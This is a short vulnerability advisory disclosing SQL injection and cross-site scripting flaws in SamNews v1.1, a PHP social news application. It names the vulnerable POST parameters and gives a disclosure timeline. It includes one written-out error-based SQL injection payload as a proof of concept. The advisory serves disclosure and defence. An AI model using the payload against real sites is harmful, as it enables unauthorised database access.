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XSS and SQL Injection Vulnerabilities in SamNews

Name : Critical XSS and SQL Injection Vulnerabilities in SamNews
Software : SamNews v1.1 and possibly below.
Vendor Homepage :
Vulnerability Type : Cross-Site Scripting and SQL Injection
Severity : Critical
Researcher : Omar Kurt
Advisory Reference : NS-14-005

SamNews is a social news application like Digg and Reddit. SamNews is written in PHP/MySQL.

SamNews is affected by XSS and SQL Injection vulnerabilities in version 1.1. Example PoC urls are as follows :

SQL Injection Vulnerabilities

  • (POST)
    id=-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

XSS Vulnerabilities

  • (POST - params: email, email_verify)
  • (POST - params: url_1)
  • (POST - params: email, email_verify)
  • (POST - params: name)

You can read the full article about SQL Injection vulnerabilities from here:


Advisory Timeline
06/01/2014 - First Contact - No Response
19/02/2014 - Advisory Released

It has been discovered on testing of Netsparker Web Application Security Scanner.

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